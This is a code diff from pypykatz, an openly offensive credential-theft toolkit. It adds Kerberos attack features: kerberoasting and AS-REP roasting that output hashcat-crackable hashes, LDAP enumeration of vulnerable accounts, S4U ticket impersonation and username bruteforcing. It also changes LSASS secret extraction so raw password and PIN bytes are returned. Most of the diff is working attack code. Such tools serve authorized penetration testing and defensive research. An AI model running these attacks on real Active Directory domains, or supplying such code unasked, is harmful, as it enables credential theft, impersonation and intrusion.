96 | DOMAIN_PASSWORD = 2 | |
97 | DOMAIN_CERTIFICATE = 3 | |
98 | DOMAIN_VISIBLE_PASSWORD = 4 | |
99 | GENERIC_CERTIFICATE = 5 | |
100 | DOMAIN_EXTENDED = 6 | |
101 | ||
94 | 102 | class CREDENTIAL_BLOB: |
95 | 103 | """ |
96 | 104 | """ |
119 | 127 | self.unknown4 = None |
120 | 128 | |
121 | 129 | self.attributes = [] |
130 | self.type_pretty = None | |
122 | 131 | |
123 | 132 | |
124 | 133 | |
133 | 142 | sk.size = int.from_bytes(buff.read(4), 'little', signed = False) |
134 | 143 | sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) |
135 | 144 | sk.type = int.from_bytes(buff.read(4), 'little', signed = False) |
145 | try: | |
146 | sk.type_pretty = CREDBLOBTYPE(sk.type) | |
147 | except: | |
148 | sk.type_pretty = CREDBLOBTYPE.UNKNOWN | |
136 | 149 | sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False) |
137 | 150 | sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False) |
138 | 151 | sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) |
180 | 193 | |
181 | 194 | def to_text(self): |
182 | 195 | t = '' |
196 | t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type) | |
183 | 197 | t += 'last_written : %s\r\n' % self.last_written |
184 | 198 | if len(self.target) > 0: |
185 | 199 | t += 'target : %s\r\n' % str(self.target) |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import os | |
6 | 7 | import base64 |
7 | 8 | import platform |
8 | 9 | import argparse |
11 | 12 | import traceback |
12 | 13 | |
13 | 14 | from minikerberos.common.utils import print_table |
15 | from minikerberos.protocol.asn1_structs import KRB_CRED | |
14 | 16 | from pypykatz.commons.filetime import filetime_to_dt |
15 | 17 | from pypykatz.commons.common import geterr |
16 | 18 | from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \ |
18 | 20 | del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache |
19 | 21 | |
20 | 22 | from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi |
23 | from msldap.commons.url import MSLDAPURLDecoder | |
24 | from minikerberos.common.spn import KerberosSPN | |
25 | from minikerberos.common.creds import KerberosCredential | |
26 | ||
27 | ||
21 | 28 | |
22 | 29 | """ |
23 | 30 | Kerberos is not part of pypykatz directly. |
113 | 120 | tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user') |
114 | 121 | tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"') |
115 | 122 | tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') |
123 | tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') | |
116 | 124 | |
117 | 125 | tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user') |
118 | 126 | tgs_parser.add_argument('url', help='user credentials in URL format') |
119 | 127 | tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for') |
120 | 128 | tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') |
129 | tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') | |
121 | 130 | |
122 | 131 | brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames') |
123 | 132 | brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
127 | 136 | brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') |
128 | 137 | |
129 | 138 | asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast') |
139 | asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') | |
130 | 140 | asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
131 | 141 | asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') |
132 | 142 | asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') |
133 | 143 | asreproast_parser.add_argument('address', help='Kerberos server IP/hostname') |
134 | asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
144 | asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
135 | 145 | |
136 | 146 | spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast') |
147 | spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') | |
137 | 148 | spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
138 | 149 | spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') |
139 | 150 | spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') |
140 | spnroast_parser.add_argument('url', help='user credentials in URL format') | |
141 | spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
151 | spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format') | |
152 | spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
142 | 153 | |
143 | 154 | s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user') |
144 | 155 | s4u_parser.add_argument('url', help='user credentials in URL format') |
247 | 258 | if args.outdir is not None: |
248 | 259 | for luid in tickets: |
249 | 260 | for ticket in tickets[luid]: |
250 | with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f: | |
261 | try: | |
262 | pt = KRB_CRED.load(ticket['Ticket']).native | |
263 | name = '_'.join(pt['tickets'][0]['sname']['name-string']) | |
264 | name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']]) | |
265 | except: | |
266 | name = hex(int(luid)) + '_' + os.urandom(4).hex() | |
267 | with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f: | |
251 | 268 | f.write(ticket['Ticket']) |
269 | ||
252 | 270 | else: |
253 | 271 | for luid in tickets: |
254 | 272 | if len(tickets[luid]) == 0: |
260 | 278 | |
261 | 279 | |
262 | 280 | def run(self, args): |
263 | #raise NotImplementedError('Platform independent kerberos not implemented!') | |
264 | 281 | |
265 | 282 | if args.kerberos_module == 'tgt': |
266 | kirbi, filename, err = asyncio.run(get_TGT(args.url)) | |
283 | kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype)) | |
267 | 284 | if err is not None: |
268 | 285 | print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err) |
269 | 286 | return |
275 | 292 | print_kirbi(kirbi) |
276 | 293 | |
277 | 294 | elif args.kerberos_module == 'tgs': |
278 | tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn)) | |
295 | tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype)) | |
279 | 296 | if err is not None: |
280 | 297 | print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err) |
281 | 298 | return |
282 | 299 | |
283 | ||
284 | 300 | if args.out_file is not None: |
285 | pass | |
286 | else: | |
287 | print(tgs) | |
288 | print(encTGSRepPart) | |
289 | print(key) | |
301 | with open(args.out_file, 'wb') as f: | |
302 | f.write(kirbi.dump()) | |
303 | else: | |
304 | print_kirbi(kirbi) | |
290 | 305 | |
291 | 306 | elif args.kerberos_module == 'brute': |
292 | 307 | target_spns = generate_targets(args.targets, args.domain) |
296 | 311 | return |
297 | 312 | |
298 | 313 | elif args.kerberos_module == 'asreproast': |
299 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
314 | if args.ldap is None: | |
315 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
316 | else: | |
317 | target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep')) | |
300 | 318 | _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype)) |
301 | 319 | if err is not None: |
302 | print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
320 | print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err)) | |
303 | 321 | return |
304 | 322 | |
305 | 323 | elif args.kerberos_module == 'spnroast': |
306 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
324 | if args.ldap is None and args.targets is None: | |
325 | raise Exception('Either LDAP URL or targets must be provided') | |
326 | if args.ldap is None: | |
327 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
328 | else: | |
329 | _, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn')) | |
307 | 330 | _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype)) |
308 | 331 | if err is not None: |
309 | print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
332 | print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err)) | |
310 | 333 | return |
311 | 334 | |
312 | 335 | elif args.kerberos_module == 's4u': |
313 | tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None)) | |
314 | if err is not None: | |
315 | print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err)) | |
316 | return | |
336 | tgs, encTGSRepPart, key, kirbi, err = asyncio.run(s4u(args.url, args.spn, args.targetuser)) | |
337 | if err is not None: | |
338 | print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err)) | |
339 | return | |
340 | ||
341 | if args.out_file is not None: | |
342 | with open(args.out_file, 'wb') as f: | |
343 | f.write(kirbi.dump()) | |
344 | else: | |
345 | print_kirbi(kirbi) | |
317 | 346 | |
318 | 347 | elif args.kerberos_module == 'keytab': |
319 | 348 | process_keytab(args.keytabfile) |
332 | 361 | |
333 | 362 | elif args.kerberos_module == 'kirbi': |
334 | 363 | if args.kirbi_module == 'parse': |
335 | parse_kirbi(args.kirbifile)⏎ | |
364 | parse_kirbi(args.kirbifile) | |
365 | ||
366 | ||
367 | def get_ldap_url(authmethod = 'ntlm', host = None): | |
368 | from winacl.functions.highlevel import get_logon_info | |
369 | info = get_logon_info() | |
370 | ||
371 | logonserver = info['logonserver'] | |
372 | if host is not None: | |
373 | logonserver = host | |
374 | ||
375 | return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) | |
376 | ||
377 | async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None): | |
378 | if ldap_url == 'auto': | |
379 | ldap_url = get_ldap_url(authmethod = authmethod, host = host) | |
380 | ||
381 | msldap_url = MSLDAPURLDecoder(ldap_url) | |
382 | client = msldap_url.get_client() | |
383 | _, err = await client.connect() | |
384 | if err is not None: | |
385 | raise err | |
386 | ||
387 | domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') | |
388 | spn_users = [] | |
389 | asrep_users = [] | |
390 | ||
391 | if target_type == 'asrep' or target_type == 'all': | |
392 | async for user, err in client.get_all_knoreq_users(): | |
393 | if err is not None: | |
394 | raise err | |
395 | cred = KerberosCredential() | |
396 | cred.username = user.sAMAccountName | |
397 | cred.domain = domain | |
398 | ||
399 | asrep_users.append(cred) | |
400 | ||
401 | if target_type == 'spn' or target_type == 'all': | |
402 | async for user, err in client.get_all_service_users(): | |
403 | if err is not None: | |
404 | raise err | |
405 | cred = KerberosSPN() | |
406 | cred.username = user.sAMAccountName | |
407 | cred.domain = domain | |
408 | ||
409 | spn_users.append(cred) | |
410 | ||
411 | return asrep_users, spn_users⏎ |
18 | 18 | from minikerberos.common.keytab import Keytab |
19 | 19 | from minikerberos.aioclient import AIOKerberosClient |
20 | 20 | from minikerberos.common.utils import TGSTicket2hashcat |
21 | from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart | |
21 | from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart, EncKrbCredPart | |
22 | 22 | from minikerberos.common.utils import print_table |
23 | 23 | from minikerberos.common.ccache import CCACHE, Credential |
24 | from minikerberos.common.utils import tgt_to_kirbi | |
24 | 25 | |
25 | 26 | |
26 | 27 | def process_target_line(target, realm = None, to_spn = True): |
130 | 131 | |
131 | 132 | cc.to_file(ccachefile) |
132 | 133 | |
133 | async def get_TGS(url, spn, out_file = None): | |
134 | async def get_TGS(url, spn, out_file = None, override_etype = None): | |
134 | 135 | try: |
135 | 136 | logger.debug('[KERBEROS][TGS] started') |
137 | if isinstance(override_etype, int): | |
138 | override_etype = [override_etype] | |
139 | ||
136 | 140 | ku = KerberosClientURL.from_url(url) |
137 | 141 | cred = ku.get_creds() |
138 | 142 | target = ku.get_target() |
143 | 147 | kcomm = AIOKerberosClient(cred, target) |
144 | 148 | await kcomm.get_TGT() |
145 | 149 | logger.debug('[KERBEROS][TGS] fetching TGS') |
146 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn) | |
150 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype) | |
151 | ||
152 | kirbi = tgt_to_kirbi(tgs, encTGSRepPart) | |
147 | 153 | |
148 | 154 | if out_file is not None: |
149 | kcomm.ccache.to_file(out_file) | |
155 | with open(out_file, 'wb') as f: | |
156 | f.write(kirbi.dump()) | |
157 | ||
150 | 158 | logger.debug('[KERBEROS][TGS] done!') |
151 | return tgs, encTGSRepPart, key, None | |
152 | except Exception as e: | |
153 | return None, None, None, e | |
154 | ||
155 | async def get_TGT(url): | |
159 | return tgs, encTGSRepPart, key, kirbi, None | |
160 | except Exception as e: | |
161 | return None, None, None, None, e | |
162 | ||
163 | async def get_TGT(url, override_etype = None): | |
156 | 164 | try: |
157 | 165 | logger.debug('[KERBEROS][TGT] started') |
166 | if isinstance(override_etype, int): | |
167 | override_etype = [override_etype] | |
158 | 168 | ku = KerberosClientURL.from_url(url) |
159 | 169 | cred = ku.get_creds() |
160 | 170 | target = ku.get_target() |
164 | 174 | |
165 | 175 | kcomm = AIOKerberosClient(cred, target) |
166 | 176 | logger.debug('[KERBEROS][TGT] fetching TGT') |
167 | await kcomm.get_TGT() | |
168 | ||
169 | cred = kcomm.ccache.credentials[0] | |
170 | kirbi, filename = cred.to_kirbi() | |
177 | await kcomm.get_TGT(override_etype=override_etype) | |
171 | 178 | |
172 | return kirbi, filename, None | |
173 | except Exception as e: | |
174 | return None, None, e | |
179 | kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart) | |
180 | ||
181 | return kirbi, None | |
182 | except Exception as e: | |
183 | return None, e | |
175 | 184 | |
176 | 185 | async def brute(host, targets, out_file = None, show_negatives = False): |
177 | 186 | """ |
269 | 278 | except Exception as e: |
270 | 279 | return None, e |
271 | 280 | |
272 | async def s4u(url, spn, targetuser, out_file = None): | |
281 | async def s4u(url, spn, targetuser): | |
273 | 282 | try: |
274 | 283 | logger.debug('[KERBEROS][S4U] Started') |
275 | 284 | cu = KerberosClientURL.from_url(url) |
284 | 293 | client = AIOKerberosClient(ccred, target) |
285 | 294 | await client.get_TGT() |
286 | 295 | logger.debug('[KERBEROS][S4U] Getting ST') |
287 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
296 | res = await client.getST(target_user, service_spn) | |
297 | tgs, encTGSRepPart, key = res | |
288 | 298 | else: |
289 | 299 | logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') |
290 | 300 | for tgt, key in ccred.ccache.get_all_tgt(): |
292 | 302 | logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) |
293 | 303 | client = AIOKerberosClient.from_tgt(target, tgt, key) |
294 | 304 | |
295 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
305 | res = await client.getST(target_user, service_spn) | |
306 | tgs, encTGSRepPart, key = res | |
296 | 307 | logger.debug('[KERBEROS][S4U] Sucsess!') |
297 | 308 | except Exception as e: |
298 | 309 | logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) |
300 | 311 | else: |
301 | 312 | break |
302 | 313 | |
303 | if out_file: | |
304 | client.ccache.to_file(out_file) | |
305 | ||
306 | 314 | logger.debug('[KERBEROS][S4U] Done!') |
307 | return tgs, encTGSRepPart, key, None | |
308 | ||
309 | except Exception as e: | |
310 | return None, None, None, e | |
315 | kirbi = tgt_to_kirbi(tgs, encTGSRepPart) | |
316 | return tgs, encTGSRepPart, key, kirbi, None | |
317 | ||
318 | except Exception as e: | |
319 | return None, None, None, None, e |
170 | 170 | token_handle = OpenProcessToken(process_handle) |
171 | 171 | stats = GetTokenInformation_tokenstatistics(token_handle) |
172 | 172 | CloseHandle(process_handle) |
173 | return stats['TokenId'] | |
173 | return stats['AuthenticationId'] | |
174 | 174 | |
175 | 175 | def list_luids(self): |
176 | 176 | self.available_luids = LsaEnumerateLogonSessions() |
5 | 5 | |
6 | 6 | from pypykatz import logger |
7 | 7 | import asyncio |
8 | import argparse | |
9 | import logging | |
8 | 10 | |
9 | 11 | """ |
10 | 12 | LDAP is not part of pypykatz directly. |
27 | 29 | self.keywords = ['ldap'] |
28 | 30 | |
29 | 31 | def add_args(self, parser, live_parser): |
30 | group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
31 | group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
32 | group.add_argument('url', help="LDAP connection string") | |
33 | group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
32 | ldap_group = parser.add_parser('ldap', help='LDAP related commands') | |
33 | ldap_subparsers = ldap_group.add_subparsers() | |
34 | ldap_subparsers.required = True | |
35 | ldap_subparsers.dest = 'ldap_module' | |
34 | 36 | |
35 | live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
36 | live_group.add_argument('--host', help= 'Specify a custom logon server.') | |
37 | live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
38 | live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
37 | ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
38 | ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | ldap_client_group.add_argument('url', help="LDAP connection string") | |
40 | ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
41 | ||
42 | ||
43 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
44 | live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.') | |
45 | live_ldap_subparsers.required = True | |
46 | live_ldap_subparsers.dest = 'liveldapcommand' | |
47 | ||
48 | live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
49 | live_client_parser.add_argument('--host', help= 'Specify a custom logon server.') | |
50 | live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
51 | live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
52 | live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
53 | ||
54 | live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser]) | |
55 | ||
40 | 56 | |
41 | 57 | def execute(self, args): |
42 | 58 | if args.command in self.keywords: |
47 | 63 | |
48 | 64 | |
49 | 65 | def run_live(self, args): |
66 | from msldap import logger as ldaplogger | |
50 | 67 | from msldap.examples.msldapclient import amain |
51 | 68 | from winacl.functions.highlevel import get_logon_info |
52 | 69 | info = get_logon_info() |
55 | 72 | if args.host is not None: |
56 | 73 | logonserver = args.host |
57 | 74 | |
58 | la = LDAPCMDArgs() | |
59 | la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
60 | la.verbose = args.verbose | |
75 | ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
61 | 76 | |
62 | if args.verbose > 1: | |
63 | print('Using the following auto-generated URL: %s' % la.url) | |
64 | if args.commands is not None and len(args.commands) > 0: | |
65 | la.commands = [] | |
66 | if args.commands[0] == 'help': | |
67 | la.commands = ['help'] | |
68 | else: | |
69 | if args.commands[0] != 'login': | |
70 | la.commands.append('login') | |
71 | ||
72 | for command in args.commands: | |
73 | la.commands.append(command) | |
77 | if args.verbose == 0: | |
78 | ldaplogger.setLevel(100) | |
79 | elif args.verbose == 1: | |
80 | print('Using the following auto-generated URL: %s' % ldap_url) | |
81 | ldaplogger.setLevel(level=logging.INFO) | |
82 | else: | |
83 | level = 5 - args.verbose | |
84 | ldaplogger.setLevel(level=level) | |
74 | 85 | |
75 | asyncio.run(amain(la)) | |
86 | if args.liveldapcommand == 'client': | |
87 | la = LDAPCMDArgs() | |
88 | la.url = ldap_url | |
89 | la.verbose = args.verbose | |
90 | ||
91 | if args.commands is not None and len(args.commands) > 0: | |
92 | la.commands = [] | |
93 | if args.commands[0] == 'help': | |
94 | la.commands = ['help'] | |
95 | else: | |
96 | if args.commands[0] != 'login': | |
97 | la.commands.append('login') | |
98 | ||
99 | for command in args.commands: | |
100 | la.commands.append(command) | |
101 | ||
102 | asyncio.run(amain(la)) | |
103 | ||
76 | 104 | |
77 | 105 | def run(self, args): |
78 | 106 | from msldap.examples.msldapclient import amain |
79 | la = LDAPCMDArgs() | |
80 | la.url = args.url | |
81 | la.verbose = args.verbose | |
82 | if args.commands is not None and len(args.commands) > 0: | |
83 | la.commands = [] | |
84 | if args.commands[0] == 'help': | |
85 | la.commands = ['help'] | |
86 | else: | |
87 | if args.commands[0] != 'login': | |
88 | la.commands.append('login') | |
89 | ||
90 | for command in args.commands: | |
91 | la.commands.append(command) | |
92 | 107 | |
93 | asyncio.run(amain(la)) | |
108 | if args.ldap_module == 'client': | |
109 | la = LDAPCMDArgs() | |
110 | la.url = args.url | |
111 | la.verbose = args.verbose | |
112 | if args.commands is not None and len(args.commands) > 0: | |
113 | la.commands = [] | |
114 | if args.commands[0] == 'help': | |
115 | la.commands = ['help'] | |
116 | else: | |
117 | if args.commands[0] != 'login': | |
118 | la.commands.append('login') | |
119 | ||
120 | for command in args.commands: | |
121 | la.commands.append(command) | |
122 | ||
123 | asyncio.run(amain(la)) |
88 | 88 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
89 | 89 | |
90 | 90 | elif args.grep: |
91 | print(':'.join(LogonSession.grep_header)) | |
91 | if hasattr(args, 'directory') and args.directory is not None: | |
92 | print(':'.join(['filename'] + LogonSession.grep_header)) | |
93 | else: | |
94 | print(':'.join(LogonSession.grep_header)) | |
92 | 95 | for result in results: |
93 | 96 | for luid in results[result].logon_sessions: |
94 | 97 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
98 | if hasattr(args, 'directory') and args.directory is not None: | |
99 | row = [result] + row | |
95 | 100 | print(':'.join(row)) |
96 | 101 | for cred in results[result].orphaned_creds: |
97 | 102 | t = cred.to_dict() |
98 | 103 | if t['credtype'] != 'dpapi': |
99 | 104 | if t['password'] is not None: |
100 | 105 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] |
106 | if hasattr(args, 'directory') and args.directory is not None: | |
107 | x = [result] + x | |
101 | 108 | print(':'.join(x)) |
102 | 109 | else: |
103 | 110 | t = cred.to_dict() |
104 | 111 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
112 | if hasattr(args, 'directory') and args.directory is not None: | |
113 | x = [result] + x | |
105 | 114 | print(':'.join(x)) |
106 | 115 | |
107 | 116 | for pkg, err in results[result].errors: |
108 | 117 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
109 | 118 | err_str = base64.b64encode(err_str.encode()).decode() |
110 | 119 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] |
120 | if hasattr(args, 'directory') and args.directory is not None: | |
121 | x = [result] + x | |
111 | 122 | print(':'.join(x) + '\r\n') |
112 | 123 | else: |
113 | 124 | for result in results: |
116 | 116 | if temp and len(temp) > 0: |
117 | 117 | if bytes_expected == False: |
118 | 118 | try: # normal password |
119 | dec_password = temp.decode('ascii') | |
119 | dec_password = temp.decode('utf-16-le') | |
120 | 120 | except: # machine password |
121 | 121 | try: |
122 | 122 | dec_password = temp.decode('utf-8') |
123 | 123 | except: |
124 | 124 | try: |
125 | dec_password = temp.decode('utf-16-le') | |
125 | dec_password = temp.decode('ascii') | |
126 | 126 | except: |
127 | 127 | dec_password = temp.hex() |
128 | 128 | else: # if not machine password, then check if we should trim it |
131 | 131 | else: |
132 | 132 | dec_password = temp |
133 | 133 | |
134 | return dec_password | |
134 | return dec_password, temp | |
135 | 135 | |
136 | 136 | def walk_avl(self, node_ptr, result_ptr_list): |
137 | 137 | """ |
56 | 56 | cache = cloudap_entry.cacheEntry.read(self.reader) |
57 | 57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') |
58 | 58 | if cache.cbPRT != 0 and cache.PRT.value != 0: |
59 | temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) | |
59 | temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) | |
60 | 60 | try: |
61 | 61 | temp = temp.decode() |
62 | 62 | except: |
68 | 68 | unk = cache.toDetermine.read(self.reader) |
69 | 69 | if unk is not None: |
70 | 70 | cred.key_guid = unk.guid.value |
71 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
71 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True) | |
72 | 72 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() |
73 | 73 | |
74 | 74 | if cred.PRT is None and cred.key_guid is None: |
51 | 51 | def add_entry(self, dpapi_entry): |
52 | 52 | |
53 | 53 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: |
54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
54 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
55 | 55 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() |
56 | 56 | |
57 | 57 | c = DpapiCredential() |
17 | 17 | self.credtype = 'kerberos' |
18 | 18 | self.username = None |
19 | 19 | self.password = None |
20 | self.password_raw = None | |
20 | 21 | self.domainname = None |
21 | 22 | self.luid = None |
22 | 23 | self.tickets = [] |
23 | 24 | self.pin = None |
25 | self.pin_raw = None | |
24 | 26 | self.cardinfo = None |
25 | 27 | |
26 | 28 | def __str__(self): |
29 | 31 | t += '\t\tDomain: %s\n' % self.domainname |
30 | 32 | if self.password is not None: |
31 | 33 | t += '\t\tPassword: %s\n' % self.password |
34 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
32 | 35 | if self.pin is not None: |
33 | 36 | t += '\t\tPIN: %s\n' % self.pin |
37 | t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex() | |
34 | 38 | if self.cardinfo is not None: |
35 | 39 | t += '\t\tCARDINFO: \n' |
36 | 40 | t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] |
51 | 55 | t['credtype'] = self.credtype |
52 | 56 | t['username'] = self.username |
53 | 57 | t['password'] = self.password |
58 | t['password_raw'] = self.password_raw | |
54 | 59 | t['domainname'] = self.domainname |
55 | 60 | t['luid'] = self.luid |
56 | 61 | t['pin'] = self.pin |
62 | t['pin_raw'] = self.pin_raw | |
57 | 63 | t['cardinfo'] = self.cardinfo |
58 | 64 | t['tickets'] = [] |
59 | 65 | for ticket in self.tickets: |
123 | 129 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) |
124 | 130 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) |
125 | 131 | if self.current_cred.username.endswith('$') is True: |
126 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
132 | self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
127 | 133 | if self.current_cred.password is not None: |
